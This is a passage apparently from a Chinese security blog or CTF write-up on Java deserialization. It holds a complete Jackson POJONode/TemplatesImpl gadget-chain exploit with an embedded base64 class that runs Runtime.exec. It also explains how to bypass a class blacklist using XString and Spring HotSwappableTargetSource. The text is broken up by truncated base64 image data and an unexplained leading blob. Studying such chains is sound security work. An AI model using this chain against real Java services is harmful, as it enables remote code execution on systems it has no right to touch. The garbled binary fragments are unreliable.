EAAAAAAAAABg+MY+ODS4lUC9MSavP26xMsjb/139+9j/Xb/2uqVf+s7flf3w5NVDH/z+7+qDVr94mNWffmda34o5+qXEN/TDUj3I8bdf81/y53/4L1qmPfMKj6QO+7Xd36ylU2v3Hr14NVZZqfSj3LFUdpb1SF6IwFOvLOuB/t0fzuif/kZSr377sn7lyA98Jb5TTTf3XqhAWFjGGMk0/XC0JaIAAAAAAAAAABPsK6NuwLPiw/+UbVvP56hw6P/jnK1XQ+2ldTo2J+GnrzPl+/rTh72/q3F/U9/7jaQk6Ud/8HuR1NT5sOz5/3htUb/iNEc+hs8q/Fv9+w+MLMvR3/rOL8u4v+mvkqqmkxuRqedeaKgx9PkXH9VSzE1NvTCydgEAAAAAAAAAJtfYrxwal5pDjz0/TVqbX+qxMXpVjmJx6YNS65cFGWdW30nM6NXXHZ2TrXOx9gGb2iqdx4+6qmnUwP67+offnvY3/+HvHUtH1696KjdH3/pH/0y/VM7rf/3DrD4oRfP+/Tja3tBr/8OqXnv9sv7p62pMJzcCU1Mv6PXX6oGhDz7Yk2VZDTWIqDsEAAAAAAAAABi2sQ8OnUav//1/ol97vb5KyJRLelwu6fFj6dxr/iqh2u/MecXO+f/+sNxF1KnJa79ysfI+ef2vez/umHquF5b1QP/uf5K+851Ffet1R+diSf3aP0rqV8sl/fmfHK+JNAyW9UB/+p8W9VolfZ5+lB1ZOrljgaEf1WsMBWsQESACAAAAAAAAAAzb2AeHxqXmUEfnbD/tmympXFTHejJ2yg8MGVPSn/9hYxDFmPP6zu9M61wsuqb96A/ek767qtespH71d/6uPmxRN6lfVumBfvj7D/QnznklvnNZf/s1W+dijl77jf9e/8D+Pf3P+8MNEBlzXq+9btd/8NqifsX5s6EHiFoGhgLBnydPvyBABAAAAAAAAAAYGWoOdemc/Y22v3PsykqVx54+7PAeweDFh/+pu9U1lvVI5cf+v199fVa26bW+z5/p3/3zDf3IGFmxi/qt3/m7fbzHCW0sPdIHv/+7+lf//P+tPy377/3qtxf1esT7OYkzf1nfilkyH7ynf//Dkl9/6LvRH28nU1OBGkNfHA8MVVUDRNQgAgAAAAAAAAAM29ivHDqp5tCwVha9+vqs7L0fH1t1Y8ysvvXt3msCtaxhFJ/VL507/tqjwqF+7fWkdG5ar8X/g7wes8v5KeDO6x/+9oLOxS7qt35H+jcRriCq7+eR/uRPDvWt30hG+r7dMO5v6nu/4q/I+s9/8mc6KkqvfXtVr8Uu6lfnHwxtFdOrX/8/6KUXK4GhDzqvBmpeQfT1r/8Ved7/ZyjtBAAAAAAAAABMLlYOdcmKXdSvzjeuHjLmvBJLq3qtklLuP//Jn3X9fr/k/nLDihZjzus7311oqDdU8zCrPy0bfyXMb/+WXneOr4Sx3c6riqzSf9S/+sPD2rH81tIvh1pR83rq77RsR20VVbt2WEm9duH4z405r1/5+7+p/2Oq/XG033ZWv/7daUn+iqwfliw/IFY53le/fVm/0qKtnd6zXyXvv+gv/uv/dmJgqKoaIPqL//q/ERgCAAAAAAAAAAzF2K8cGpeaQz/6IK/XfuW/1z/5dkl//qOSJEfnXrNrwZxqUKITy3qkH33g6VsxR9brl/Vbv7OoP39cf69XHx/qR+VpvRazjm33J3+
但是这里面没有禁止jackson相关的类，可以利用jackson来构造反序列化链</p>
<pre><code>import util.utils;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.Base64;
public class jackson {
public static void main(String[] args) throws Exception {
String calc = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
TemplatesImpl t = utils.getTeml(Base64.getDecoder().decode(calc));
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(t);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
utils.setFieldValue(val,"val",node);
byte[] ser = utils.serialize(val);
String b = Base64.getEncoder().encodeToString(ser);
System.out.println(b);
utils.unserialize(ser);
}
}</code></pre>
<p>这是最普通的jackson反序列化利用链的构造，在这个代码中使用到的BadAttributeValueExpException和TemplatesImpl是在黑名单里的，我们需要找到能够替换这2个类的类<br>
BadAttributeValueExpException反序列化时会触发toSting方法<br>
<a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124191459-cfd83e74-baa9-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABgoAAAQNCAYAAACMzRFVAAEAAElEQVR4nOz9eXxU5d0//r+u3r2/kPT+mZlkJsskQ0IixCRAECFAAkkQlSooCbvY9lZRqd5Q6aIfK/fXpY9qW3O3tYWquFTuahFkEVqXakVI2CS4QUhiwIQsZLJMVr93CX7uttfvj3Nmy5yZTGYmySTzej4ePhwm58y5znXOnHPmWt5vMX3O9RJh4Bsx/5/Lv//W+f8boZIQEREREREREREREYWOr410AYiIiIiIiIiIiIiIaOR8faQLMFw4g4CIiIiIiIiIiIiIyB1nFBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhTF2FBARERERERERERERhbGvj3QBaPhImYzZ+Rtwh9kE2XsAT765CxeFGOlijTlSRqDg1onYmBEJabXgwS3NqGc9EwApU6H/zkNIzTRDWneh6pcv46tRdm7I2ELcVQT8adshWD2UXcpYFKwoRnT1c9hfNXL7J1MlFv371/Hvc4EJQkBKiT9+9+/YVje66pyIfCNlFNI25qFwRhSk5Sz2bz6D7lF2jSUKV/z+EvlHSuBnf/0XzFefdZtO/AP//d8S7/F5l4iI/MCOgmEgZTKKlzyBRVECrWcfxuNnGga3vm4VHrvxFsRrPCx/dnQttjX6+BCQvAx3mE0AABG1FOuyTw66LOSDaSZszIgEAAijCZuu68amg30jXCgKCdO/hdRMMwBAGFcjdVEZqt+rG+FC+U7GFuKudbmIEQK3FFbhpdJ2zeViC4sxJ90ApP8nivDTEekskKnAz577OuazkYEA6JfdhOIlUQCA+m078MFJATl7HtatV76Po61RyrY/o63cQ27OVBTOUI6zME3BguWN2LevV3NRKaMw84kbkW0S6HnzbY/LUeCkeSqWP5YFncZ5avs+Eg3m+xuuxtq9LBTJb6Rg65wJSNSow5NnDuMX7aFdt0IITMj9Ov5zrsREDo4hIiI/sKOAQlZKnB65CxKQc1WE/WFNykuwfN6D8spu7Kjw3Pgu4/S4bUECcq4Cyp+txI42PiQNBRl/LUzXr4EuA+j57d1oaR2eeh4Xfy2ir18DXUYSIuznRhMuVx9Hz5kytJz23Pg+UmUe7Zw7CTpr9nvsJAAAa+k2/NmwHjenGzBp6XeR3/Ecyob5h9Wif3eMrDr687/j4Q9s2x9bx1vq8lA8tQjZScDpd36E/T1ja/9GknNDspYeSxMa/lyBug97QrZRRspkLPz9XKTYrpOfHMfLWwceICDNyZi5NAvJVwMNj72Fj5t8379A1g03w1FXzueAr8c/dcMaFM4QkLIJpXceQV2Int9Dybnx1etybJi143efaGQIATx8wz8AAFde+zU8/pDABCFw278LbHt0hAtHRESjDjsKRgHR8zoef+11+7+9zTDwqmEfXk422UMPvXS6XnmyCDFSRuC2WyeiWB2V70yISCRmRKI4w4REnEJJhYfyx0ajOCMSUl4a4tJqOGPBlqxx9tBDT79/KSTrOSji5iEh0wwpm4Zlc1KmwvSdh5CQ6f7jXQgzIjJXIyJzNcbhm6g/7aHOh7nMLj57FXXTkuyhh+rerR0V54aUsSgoUjoJZM1+vLS3csB1qvduA5Y/jJvTDZi9biWsT+5G9TDtq5RA4VzltWsnwRh0RQ4WmU2Q0jLSJRl9LL3okUnKKOfWLwfd0KczmaFbb8a0m0O4oXCO2d5JAACIvwJ6KQcuq8mM7BlRkNKP0byBrBuoDytweNYV9tAlh/b2hPY1dhjqSogG1H86FykzAFxtRqqs99rwL2UyUq5W//FpU1A6CURTBfatq3Bsw8sMAxrFAj2fR9v3N1QEeC8jV+Jv9dh4sN7+b28zDELRFx/8E2vxNRz9sQDmfg03yH/gvVFSdiIiCg3sKAgjQjSg/MgDKHe8MZLF8ajg1kwUZyhla66uxdOHulDfZhs1HoGJ8eORuyABiSNZSC+E6EPZziqUOd4YyeKMKfrvbEVCplKffVUlqPvrQXzVajs3UjE+IQXR16/BuJEspBdC1KHnlXvwieONkSyOz2ILizHHICBlDd7cc9bnclftOYD0h5diskjHkhVTUO1DB0NQpAHJAKSUaKgfnk1SaOtq/hKA0oDV60efSv/QNNIchZlL85A9IyqkQ2SkzUoCANS/eRZYnIXkBDNSJ5zBxyPQTzochOhF3da3Ued4YySLEzJqT11E4QwzhDAjZQ5Qd9LLwhOugE592XCqHmNtFtZgSdmLMwONjud5FhT8/g4s0HsZhYn6f6JRCpghMDENwOiJckpERCHgayNdACJnMs6EZVcpr5vLKrFpZ7e9kwBQGuHr27qxY2eV59kENCbJ+NuRkKG87jv0H6h+5QN7JwGgNMJ/1foBWl65x/NsAho0GVuIW3JjAADnDwxuVoAQlXjjwDnldXoRijLlkJSRyC+NX6JHfdlr6fGyoDvR1IuPthzDaYtyTkfNmAC9DK3z2zYyXMpe9J5qRG8LIEQUkmfpRrpoNNw+bEK9en4mz0rxumj0LDN0Qgk7VP/hMJSNiAITwL2MiIiIqL+wmlHgnFT4s6Nr8VxDCmZnL8ON5msQH6WOSu79CNuP/Qrl/eI8+5KQOGlaCTZPMUHKj7B9x69Q7qVBLWnC97Fu6sDbDVSwEiE74mAn2D9LSgvaLp7COxW7glfuWEc+gub2S/B1JJuMM+E39ya4TQsVIhLF981CscY65XtcQxfJqWnYs0IPabXgwS3NuIBIFNw6EcucciQ0V1vw9GvNqO+3HU/b19qOy3oyArdtzESxUaB8zyk8dSYSBdeZsGy+zrFNazf27f4CZV7yLKRMNWFlgQ45RvdwTY5tdWPro1+gLIARWjL+dmR+b5U9L4CNEGYk3P8XJGis07VTOwzQuPhrkbB2DaKNjjBC0tqE7oM/R8tntfiqfznjJti329dWC5/PjSCUWWY/gmvWzIW07kLVL1/GZaRB/52HkOCUI6Gvahfq/vCyW7k9bV9rOy7ryVSYfrgVCUaBrp3fxIXP0qBf9C0kFM5xbNN6Ai07HkePlzwL47JvR8LCXJd6dt/WCVz48ePo0Shj5nw15FDHMRyrxOAHl1aW4cN5kzHHIDBp3gIYKw/BOoZGCcoJ38dz82ZC9h7Ak2/uQhNSMDt/A250ula2Nh3AS2W7cNHDfmtdX1t7P8Lpin3Y39jQb1nta7oQJiy6aQcWaXy+87U+0HuZv/vr8f6bdY3LPr8zBPdBV1+iuxFBGSQtRC+6WwGYACREQQ+gu98y0pyMmbPMSJ5xBXSmKMf7ll40fFKJT/fWew0TIc1RSFuah+lXX2EP0yJlL3pbrhi4gGrYIWlpQl1jD/DJl8g2RSmdGntdQyV5CgUjRBSyH1+LbI2PtyfSDGBd+/bVePC2eO9d0CFto+t+93xyFoe2uId4CmaiXP3seVhwcxJ0al4KaWlC6bYjqOs3mtyXRMj2hNNOcf6DUVeO/bbFg3eqIzVvxscnXcvja/ghKaOQOkM9tzTCDgV6Pg+Wv/Xs9jmDqKtAOSeb9VRml7wRgyy3lL3o/bQJnx0443ZeelvP2/4613P9th04+KEOacunYvoM79+FoHz3g/D91ZuTcfX6LKT0Pyf/fAyfauSQ8bi/i5Nc6uszje9+f1JGYeZGZXbZ8OarCN69bLA
这里是用来触发node的toSting方法，我们可以用XString#equals替换BadAttributeValueExpException来触发toSting方法<br>
<a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124191606-f7e44110-baa9-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABTIAAAQeCAYAAADrScWtAAEAAElEQVR4nOz9e3Ac12En+n8bJPWi0D2gCILkYIZQLMp4Q4pNiiQAUlJEmjKppK4pW5RX8m7ubq1jV+Lfb5O7j7v7S+LNrbub3WycSuzK/pz7S+1u/KAcW7o3MWnJJCOJBEBSYrwW3tDDETkDgA+AxHSPaMkihfP7o7vn2TPTz5kG8P1UsYoAprtPnz6vPnMekhBCIMd//C/fwAt/8yLCRCx24p/90WfRI0kYPvK7+MufSrUOEhERERERERERkSMf3XMbbjy5EeKuVajTbmHt9y+hTrtVlWvL9XdV5TpBqsv9YXRsKnSdmERERERERERERMvBqmsfYu0PLmPV5V9UtRNzuZByR2SGcTQmERERERERERERebPsRmT+/f8cqVU4iIiIiIiIiIiIiErK68icmb1cq3AQERERERERERERlZTXkfnRRx/VKhxEREREREREREREJdVV/ggRERERERERERFRbbEjk4iIiIiIiIiIiEKPHZlEREREREREREQUeuzIJCIiIiIiIiIiotBbXesAEBERERERERERUbC09M9rHQTPOCKTiIiIiIiIiIiIQo8dmURERERERERERBR67MgkIiIiIiIiIiKi0GNHJhEREREREREREYUeOzKJiIiIiIiIiIgo9NiRSURERERERERERKHHjkwiIiIiIiIiIiIKvdW1DgAV29ok1ToIRGTTwnsf1joIRERERERERCsCR2QSERERERERERFR6LEjk4iIiIiIiIiIiEKPHZlEREREREREREQUeuzIJCIiIiIiIiIiotBjRyYRERERERERERGFHjsyiYiIiIiIiIiIKPTYkUlEREREREREREShx45MIiIiIiIiIiIiCj12ZBIREREREREREVHosSOTiIiIiIiIiIiIQo8dmURERERERERERBR6q2sdAKqtj1atw83bori1agMW6+7CYt1dAIC6xZ+jbvHnWP3RVaz5cAarPrpe45ASrVxizTqIO5rx0ZomYFV+PsVHP8eqm1cgfTAN6SbzKRFRmIk192DxjmYsrtkArLobou5OAIC0+D7w0Xuou3kVdR9MQ7p5rcYhJSKiILAeIPJOEkII84dt/QdqGRYybG2SAr/GzdvieP/OHizWybY+X7eo4c73h7Hmw0TAISNaWhbe+zCwcy/esQUf3d2DxdWKrc/X3VKx6r1h1H1wMbAwERGRc4t3bMGt+geBVfbKc3ykYnX6pyzPiYiWCdYDRP5hR2YIBdmRuVh3N26s7cVHq9e7On7VrXmsvTGEusX3fA4Z0dIUVEfmzXsex+Iad/m07uY81lx70ecQERGRU2JVPW5F+iHWNLo6Xro5h9WpAUgfpX0OGRERVQPrASL/cY3MFeTWmiak5f2uOzEB4KPV65GW9+PWmiYfQ0ZEhdx2Yno9loiI/LF420bcXP9p1y+vACDWNOLm+k9j8baNPoaMiIiqgfUAUTDYkblC3FrThPfufhRCut3zuYR0O967+1F2ZhL5TJHXLYlz0tIimjahqWlTrYNBPuNzDbfF2zbi1rq9gHSH95NJd+DWur18iSWiPKwHwo31gDdM31SOq81+xGITnviXX8beDfMYee7P8Jc/DX5NR3JPn07eD3/7retwY20/6rWXXE0zX99odIJevYx5qXz6EaIJjRsA4DLm54o/K0QTGlsb0ZDzu4Xrc5ifu+I4XHYI0YSdv/4lfHLdPH527Ot48c1wpv+lEk7S3X77nbh/64M4/5O/8/W8H9/6yxgeG8IvfvG+q+PF4iZstGpDXJrFlbrll6bE4iZs7NqA3DGt8/NXceXKpaqG4dHf/C30rZ/D1PNfw/fH3cezWOzB5774FNokCZM/+DeZc/l5jSCttPRnV6nnSuEgVtXjVsMe+N3uutWwB2vmf+R6euFKyE8r4R7DLvsMZnHlSoU2vvnZCs8n97narY+XSj3nFuuBcAt9PWCzTDQ7EqvZDga8p++8usBF+S+aNsHsMq72vdux3Ms3O9ztWh7tRPcGQJIa0d3VBfx0zOdghUd88724PDeLD2/+wtbnb1tzOzY2bkZi9t2AQ2bfjbW9vozELCSk23FjbS/q0z92dpxown0HvoRt90gQYgI//uPn8HaJzkwhOvHp33kS90kSxNvfxzf+NpvWROOv4NMH+nHfPSWOvXYaz/23kxU7Sh3b0ImPrdPT/8c+3gW8GdL0v1TC6YP16+9FKjWLW7fs5dPVq29HJLIZ8/Phyaf33/cA1qz2P5+uXn0b7r/vAYyOnwMgKn6+UOfh38KhttJ5aG7yObzw3BtL/gVRNO3D5w49jLbGEuXJ3Cv4i2/8uDr3uakLresBSdqA1o4HgPHhpXkNH6yU9EdZm5o+hvnr07hps921Zs3tWL+uGZeu/CzgkNl3K9LvzwicQtIduBXpx5prP3J1+ErIT5Xv8RWcPvVjjFfoYCP3Nj52GF/s3wAhrmLwm1/DKyXi2nwR72+UKtax2XNO4IWv/hXG7aTRJVLPUTHWA2X4VA+Iyefwf/x1+TwhmvbhM198GOsxVzYvh1FuXeC0DS+a9uHLX3wYjZJUsRyrmRVUvpUqD/K+IvinD9p8yZ0Zw8j4PC5fmcOJE6O+BTJstkR/CV0ffxA7HujDbWsqdzDctuZ27HywH10ffxBbor9UhRBWdvO2uKc1MSv5aPV63Lwt7ugYSbqCs8cGcF0ISFI7PvVrXSU/e/+vGZ2YYgI//ptsWhMffwpf+cLuTCfm9WsTeOdt/d/1a+XT8frGTuz41V/BVuG8UwcAcHUMP3tnHtevzeHvz4Y4/S+VcHq0fv29iMcewNb7+rDaRkfg6tW3Y+vWPsRjD6BxfTjy6T3rNqL+7obKH3Sp/u4G3LPO+1IQc3NXMTeXn28a2w7jn3/1C+hYdJmfQkB0PIvf/41HMp2Yc3MTmJzU/xXeb1VcGsXU1Bzm5q5i8NQbS/caPluu6Y+yNjV9DPf90ifQ1b4Ha2y0u9asuR3dHQ/jvl/6BDZt/FgVQljZ4h1bPK2FVolY04jFO7Z4Ps9KzU+NbY/gM1/8bXy2Y/neoxtNTT145HP7fHn2l8fHMScEJGkD1pd7BTFexAEA65tQ6qNicRPaW408NTVirxMTqFjP+XnP5B/WA5X5VQ+sGOs70O5ghnrnHr0TM9SWYDvejXLlQd6IzO7DT+OTPzmCv69QQUh1V3D0r76Oo/pPPgc3PC5fnUVL9JdQf7eCHQ/04dwbgyVHZt625nbseKAPd6+V8d4NDZeuzlQ5tNbev7On4meE+Agzbw9i5u0BpK8ncPMX7+GOtetQvy6O5vv3YOO921HuOb9/Zw/WfJhwFC5p7u/w49fa8PSORuC+h7GjcRTnCqaNi8Zfwfb79P//7Fh21KYQnfj0gTb9/yVGXQrRhPtbiysQ0fgr+NSz/WjAJJyNI80Ju3QF5/72Gzin/+TyLMFbKuH0Sk1dwvuNv4Q775Sx9b4+vP3OYMmRmatX346t9/XhzjtkvP+BhoVUOPJpvPn+ip+RFhcx884QriWHsHBpBouLGlYpCiJ3x7HpY3uwvuWTKPec483349r1y67DKCafw3/N+eZWLG5C52OHcah/AySpHZ85/ADGK3yzG0ZisQefO2SUJyW+sRWLm9DZtaFqYZLqLuGVv/4TvKL/tGSv4aflmv4o37XrM9i86T6svSuCrvY9GJ04VXJEzpo1t6OrfQ/uulPBz99XMX9tusqhtXar/sGKnxHiI1z+2SAu/WwQNxaSuPmL93D7Xetwd0MMm7buxoYt5dtdt+ofxG0fXHQdxpWQn6xGGzV17MNnDj2MRmkDWg99AR2jNkf2LXPZUVeTeMGPE166gnkAjUDZkUIbOzoynQWS1I72LmB83OKDOR2eU+NvwG6dVa6e8/2eyTesB6pTD6wkkrQBfXsewCs26jXRtA+
spring环境下可以利用HotSwappableTargetSource#equals来触发XString的equals方法<br>
<a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240124191637-0a7e5d60-baaa-1.png><img src=data:image/png;base64,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